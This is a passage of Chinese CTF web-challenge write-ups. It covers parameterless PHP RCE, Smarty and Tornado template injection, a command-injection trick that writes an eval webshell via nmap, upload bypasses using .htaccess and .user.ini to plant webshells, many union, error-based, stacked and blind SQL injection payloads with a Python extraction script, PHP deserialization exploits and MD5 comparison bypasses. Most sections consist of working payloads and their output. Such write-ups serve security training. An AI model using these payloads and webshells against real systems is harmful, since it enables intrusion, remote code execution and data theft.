    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

过滤了 php 伪协议

(?R)? 递归调用当前整个匹配模式,即匹配可以无限嵌套的无参数函数

无参数RCE

print_r(scandir(「.」)); 查看当前目录及文件

限制不含参数,即用 current(localeconv()) 代替

flag.php 为倒数第二个值,反转顺序后向前一位将指向 flag.php

print_r(next(array_reverse(scandir(current(localeconv())))));

返回随机键名后反转键名与键值,多次随机后得到想要的键值

print_r(array_rand(array_flip(scandir(current(localeconv())))));

readfile(next(array_reverse(scandir(current(localeconv())))));

[BJDCTF2020]The mystery of ip

通过 X-Forwarded-For 或 Client-IP 伪造 ip 参数

Smarty SSTI PHP

{$smarty.version}

3.1.34-dev-7

{if phpinfo()}{/if}

{php}phpinfo();{/php} (仅在Smarty3.1的SmartyBC中有效)

X-Forwarded-For: {system(「cat /flag」)}

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>

host 随便传个 ip 后执行 nmap 命令

escapeshellarg 给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

escapeshellcmd 反斜线(\)会在以下字符之前插入: & # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ , \x0A 和 \xFF, ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替

' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '

' <?php @eval($_POST["ba2in9a"]);?> -oG ba2in9a.php '

' \<\?php @eval\(\$_POST\[\"ba2in9a\"\]\)\;\?\> -oG ba2in9a.php '

[RoarCTF 2019]Easy Java

账号密码分别是 admin admin888

登陆后没有任何可用信息

查看 help 页面

抛出异常 java.io.FileNotFoundException:{help.docx}

请求方式改为 post

没有可用信息

查看别人的WP得知可以查看 WEB-INF/web.xml

servlet-class 存放在 /WEB-INF/classes 目录下

base64 解码即可得到 flag

[GXYCTF2019]BabyUpload

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不能有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("诶,别蒙我啊,这标志明显还是php啊");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型也太露骨了吧!");
        }
    }
}
?>

上传 .htaccess

修改 Content-Type

上传 ba2in9a-asp.webp

ba2in9a=show_source('/flag');

[网鼎杯 2018]Fakebook

dirsearch 扫出了 robots.txt flag.php error.php view.php db.php

hint

robots.txt 提示存在 user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

简单注册登录后发现存在sql注入,扫字典

过滤了 0x7e select union

no=-1%20order%20by%201,2,3,4,5%23

报错 存在四列数据

no=-1%20union%20select%201,2,3,4%20%23

no hack _

no=-1%20union/**/select%201,2,3,4%20%23

no=-1%20union/**/select%201,@@version_compile_os,3,4%20%23

Linux

no=-1%20union/**/select%201,version(),3,4%20%23

10.2.26-MariaDB-log

no=-1%20union/**/select%201,user(),3,4%20%23

[email protected]

no=-1%20union/**/select%201,database(),3,4%20%23

fakebook

no=-1%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%20%23

users

no=-1%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27%20%23

no,username,passwd,data

no=-1%20union/**/select%201,data,3,4%20from%20users%20%23
O:8:"UserInfo":3:{s:4:"name";s:1:"0";s:3:"age";i:0;s:4:"blog";s:5:"0.com";}

通过伪协议访问 file://var/www/html/flag.php

<?php
class UserInfo
{
    public $name = "0";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

}
echo serialize(new UserInfo());
O:8:"UserInfo":3:{s:4:"name";s:1:"0";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
no=-1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"0";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3syOTkxM2UxYy0wZDllLTQ2OWEtYTEyNS0xZWZhOGUzMWYxMzF9IjsNCmV4aXQoMCk7DQo=

base64 解码后也会得到相同的内容

<?php

$flag = "flag{29913e1c-0d9e-469a-a125-1efa8e31f131}";
exit(0);

也可以 load_file 直接读取

no=-1 union/**/select 1,group_concat(load_file('/var/www/html/flag.php')),3,4 from users #setDefaults 

[CISCN2019 华北赛区 Day2 Web1]Hack World

简单测试

拿字典跑了下

当 id 的值为1或2时会查询到以下结果

id=1 => Hello, glzjin wants a girlfriend.

id=2 => Do you want to be my girlfriend?

当 id 的值为其他数字或 @ 时回显 Error Occured When Fetch Result.

当 id 的值为 or and from like insert delect update select sleep 时回显 bool(false)

当 id 的值为 --+ information information_schema separator floor xor 时回显 SQL Injection Checked.

尝试

id=if(length((select(flag)from(flag)))=42,1,0)

回显 Hello, glzjin wants a girlfriend.

确认 flag 有42个字符

二分法穷举

来自 inanb 的二分法穷举脚本

import requests
import time
url = 'http://2bd5e0bf-74ef-4b72-90b8-315541a82d9d.node3.buuoj.cn/'
flag=""
for x in range(1,43):
    l = 32
    r = 126
    while r > l:
        mid = int((l+r+1) / 2)
        x = str(x)
        y = str(mid)
        id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'}
        response = requests.post(url=url,data=id)
        if "Hello" in response.text:
            l = mid
        else:
            r = mid-1
        time.sleep(0.03)
    flag+=(chr(int(r)))
    print(chr(int(r)))
print(flag)

[GYCTF2020]Blacklist

联合注入

-1' or 1=1 order by 3 #
error 1054 : Unknown column '3' in 'order clause'
-1' union select 1,2 #
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入

-1';show tables #
array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}
-1';desc FlagHere #
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

handler查询

[强网杯 2019]随便注 但过滤了 set prepare alter rename

改用 HANDLER 语句查询

-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close; #

[GXYCTF2019]BabySQli

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

hint

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

base32 解码

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64 解码

select * from user where username = '$name'

试出 username 是 admin

fuzz

过滤了 ( ) = or xor order 等关键字

第二列数据为用户名,第三列数据为 MD5 加密的密码

name=' union select 1,'admin','21232f297a57a5a743894a0e4a801fc3' #&pw=admin

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

is_valid 方法限制字符的ASCII码为32-125,确保为可打印字符,而 protected 属性序列化后在变量名前添加标记\00*\00\00对应空字符(null)

PHP版本7.1+对属性的类型不敏感,可用 public 属性替换 protected 属性

__destruct 方法需绕过强类型比较 使用 op=" 2"op=2 绕过

<?php
 
class FileHandler {
 
    public $op = " 2";
    public  $filename = "flag.php";
    public  $content = "";
}

echo serialize(new FileHandler());
 
?>
?str=O:11:"FileHandler":3:{s:2:"op";s:4:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

[MRCTF2020]Ez_bypass

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

数组绕过强类型比较

?id[]=0&gg[]=1

字符串或 %00 绕过 is_numeric

passwd=1234567a

passwd=1234567%00

[MRCTF2020]你传你🐎呢

.htaccess

修改 Content-Type

/var/www/html/upload/315f3ebf1b34561a6edd5834019ba782/.htaccess succesfully uploaded!

一句话

修改 Content-Type

/var/www/html/upload/315f3ebf1b34561a6edd5834019ba782/ba2in9a-php.webp succesfully uploaded!
ba2in9a=var_dump(scandir("/"));

ba2in9a=var_dump(file_get_contents("/flag"));

[极客大挑战 2019]HardSQL

fuzz 过滤了 ! & * + < > = | \\ if and union drop having mid sleep hex char ascii substr greatest 等关键字

报错注入

查看数据库基础信息

'or(updatexml(1,concat(0x7e,version(),0x7e),1))#

XPATH syntax error: 「10.3.18-MariaDB

'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

XPATH syntax error: 「geek

查表

'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

XPATH syntax error: 「H4rDsq1

查字段

'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

XPATH syntax error: 「id,username,password

查数据

'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

XPATH syntax error: 「flagflag{db016904-4690-4025-94」

注意

updatexml() 仅能显示32个字符,若所需数据超出此长度限制,可结合 right() 使用

'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))#

XPATH syntax error: 「4-4690-4025-94c4-f546273a2d1e}

[SUCTF 2019]CheckIn

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

.user.ini

auto_prepend_file 主文件前解析后包含

auto_append_file 主文件后解析后包含

exif_imagetype

GIF89a 文件头绕过 exif_imagetype 函数

.user.ini

GIF89a?
auto_append_file=ba2in9a-asp.webp

ba2in9a-asp.webp

GIF89a?
<script language="php">eval($_POST['ba2in9a']);</script>

扫描根目录

ba2in9a=var_dump(scandir("/"));

输出文件内容

ba2in9a=var_dump(file_get_contents("/flag"));

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

data://

使用 data:// 封装协议将所需内容写入 text

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

php://filter

使用 php://filter 封装协议读取 useless.php

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造序列化

<?php  
class Flag{
    public $file='flag.php';
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
        }  
    }  
}
print_r(serialize(new Flag())); 
?>  

序列化

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[BJDCTF2020]Easy MD5

hint

响应头(Response header)存在提示

select * from 'admin' where password=md5($pass,true)

绕过

绕过 md5 函数实现注入

字符串一

ffifdyop

md5 加密

276f722736c95d99e921722cf9ed621c

转字符串

'or'6É]™é!r,ùíb  'or'6?]??!r,??b  'or'6ɝ⬹�

与 sql 闭合实现永真

字符串二

129581926211651571912466741651878684928

md5 加密

06da5430449f8f6f23dfc1276f722738

转字符串

ÚT0DŸo#ßÁ'or'8  ?T0D??o#??'or'8  ڔ0D㟁'or'8

测试未成功

源码

leveldo4.php 源码中也指出 password 是 ffifdyop

<?php
error_reporting(0);
$password = $_GET['password'];

if($password == 'ffifdyop')
{
    echo "<script>window.location.replace('./levels91.php')</script>";
}

?>

第二步

绕过弱类型比较

levels91.php

<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    echo "<script>window.location.replace('./levell14.php')</script>";
}
?>

数组绕过

md5 不能处理数组,会直接返回 null, 此时两个数组进行比较时恒等

0e绕过

字符串 md5 加密后以 0e 开头,被当作使用科学计数法的数字进行比较,所以恒等

字符串汇总

第三步

绕过强类型比较

levell14.php

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

数组绕过

MD5碰撞

Are there two known strings which have the same MD5 hash value?

Collisions for Hash Functions MD4, MD5, HAVAL-128 and RIPEMD

这部分我就不尝试了,感兴趣的朋友可以深入研究

[HCTF 2018]admin

hint

首页,change页存在注释

<!-- you are not admin -->

<!-- https://github.com/woadsl1234/hctf_flask/ -->

预期解

unicode同形字

可以参考spotify历史漏洞-Creative usernames and Spotify account hijacking

strlower 方法会将大写字母转化为小写
注意:上下标字母会被转化为对应同形字

routes.py 登录页 /login 和改密页 /change 都会执行 strlower 方法

unicode 字符标准化时会转变为对应的同形字

利用同形字 ᴬdmin 注册时会执行一次 strlower 方法,在 /change 页更改密码会再次执行 strlower 方法

ᴬ -> A -> a

这样就能实现 admin 登录

上下标字母查询表-Superscript and Subscript Letters

str.lower

非预期

flask session伪造

代码解密session

出处:PHITHON

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

flask-session-cookie-manager

config.py 中查得 SECRET_KEY=ckj123

试了好几次还是没出,好烦

正常情况

条件竞争

import requests 
import threading
def login(s, username, password): 
    data = {'username': username, 'password':password, 'submit': ''}
    return s.post("http://abb82588-6b5e-444e-8c58-c86ee65d552b.node4.buuoj.cn:81/login", data=data)
def logout(s):
    return s.get("http://abb82588-6b5e-444e-8c58-c86ee65d552b.node4.buuoj.cn:81/logout")
def change(s, newpassword): 
    data = {'newpassword':newpassword }
    return s.post("http://abb82588-6b5e-444e-8c58-c86ee65d552b.node4.buuoj.cn:81/change", data=data)
def func1(s):
    login(s, 'master', 'master') 
    change(s, 'ba2in9a')
def func2(s): 
    logout(s)
    res = login(s, 'admin', 'ba2in9a')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')
def main():
    for i in range(9999):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,)) 
        t2 = threading.Thread(target=func2, args=(s,)) 
        t1.start()
        t2.start()
if __name__ == "__main__": 
    main()

没有达到预期,放弃了

出题人ckj123的write up

Sky师傅一血的write up

graneed的write up

[极客大挑战 2019]BuyFlag

/pay.php

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

You must be a student from CUIT!!!
Only Cuit’s students can buy the FLAG

将 Cookie: user=0 改为 1

you are Cuiter

松散比较

当 password == 404 时密码正确

PHP松散比较绕过

password=404flag

Password Right!
Pay for the flag!!!hacker!!!

科学计数法或数组

Flag need your 100000000 money

money=1000000000

Nember lenth is too long

money=99999999

即当money的值小于100000000时

you have not enough money,loser~

money=1e9 / money[]=1

[护网杯 2018]easy_tornado

hint

/flag.txt

/file?filename=/flag.txt&filehash=e772097775f523d08a70818acbcfa39e

flag in /fllllllllllllag

filename=/fllllllllllllag

/welcome.txt

/file?filename=/welcome.txt&filehash=df5cb6a70865f967cc4f829f0bfdb80f

render

SSTI

轻量级 WEB 框架 Tornado(python)调用 render 方法生成 template ,

/file?filename=/hints.txt&filehash=4954f0b53a5bcfe596332cc9f4a3c8e7

/hints.txt
md5(cookie_secret+md5(filename))

指出如何生成 filehash 的值

重点在获取 cookie_secret 的值

cookie_secret 是 handler.application.settings 的键值。

  • handler -> RequestHandler

  • RequestHandler.settings -> self.application.settings

  • handler.settings -> handler.application.settings

可以直接通过 handler.settings 访问到 cookie_secret

/error?msg={{handler.settings}}

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'cba73db5-9b2f-4f78-a0c1-577900cda7d6'}

md5 生成 filehash


服务器端模板注入(SSTI)专题

一篇文章带你理解漏洞之 SSTI 漏洞

Authentication and security

RequestHandler.settings

Template syntax - handler

[ACTF2020 新生赛]BackupFile

扫目录

/index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
?>

PHP松散比较

Payload

?key=123

[极客大挑战 2019]BabySQL

?username=admin&password=-1' or 1=1 #

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 「1=1 #」’ at line 1

过滤了相应关键字,双写可实现绕过

?username=admin&password=-1' oorr 1=1 #

Hello admin!
Your password is 「b57c0551628355fa5a8a3e247f810f7e」

?username=admin&password=-1' uniunionon selselectect 1,2,3 #

Hello 2!
Your password is 「3」

?username=admin&password=-1' uniunionon selselectect 1,version(),database() #

Hello 10.3.18-MariaDB!
Your password is 「geek」

?username=admin&password=-1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

Hello b4bsql,geekuser!

?username=admin&password=-1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

Hello id,username,password!

?username=admin&password=-1' uniunionon selselectect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql #
Hello 1cl4yi_want_to_play_2077,2sqlsql_injection_is_so_fun,3porndo_you_know_pornhub,4gitgithub_is_different_from_pornhub,5Stopyou_found_flag_so_stop,6badguyi_told_you_to_stop,7hackerhack_by_cl4y,8flagflag{792d2355-89eb-4b4e-b89a-96437b387278}!

[极客大挑战 2019]PHP

扫出来个 www.zip

给了相关源码

/index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

PHP反序列化

/class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

unserialize 会检查是否存在 __wakeup 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源

这里需要绕过 __wakeup 方法

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup 的执行

__wakeup()函数漏洞以及实际漏洞分析

Exploit

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo serialize($a);
?>

序列化

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

Payload

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[RoarCTF 2019]Easy Calc

/index.html

$('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

/calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
calc.php?%20num=phpinfo()

PHP字符串解析函数绕过 Abusing PHP query string parser to bypass IDS, IPS, and WAF

calc.php?%20num=var_dump(scandir(chr(47)))

calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[极客大挑战 2019]LoveSQL

?username=admin&password=-1%27+or+1%3D1+%23

hint

Your password is 「50753b5b26e65cbcdfab97b0e4569841」

md5 解密就不用想了,继续尝试

尝试联合注入

判断字段数

?username=admin&password=-1' order by 1,2,3,4 #

Unknown column 「4」 in 「order clause」

有三个字段

?username=admin&password=-1' union select 1,2,3 #

查看数据库基础信息

?username=admin&password=-1' union select 1,@@version_compile_os,version() #
?username=admin&password=-1' union select 1,user(),database() #

Linux,10.3.18-MariaDB,[email protected],geek

查表

url?username=admin&password=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek' #

Hello geekuser,l0ve1ysq1!

查字段

?username=admin&password=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1' #

Hello id,username,password!

查数据

?username=admin&password=-1' union select 1,group_concat(id,username,password),3 from l0ve1ysq1 #
Hello 1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{b1305613-af15-4561-b1c0-8ba3f2d4b04f}!

[强网杯 2019]随便注

源码

<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
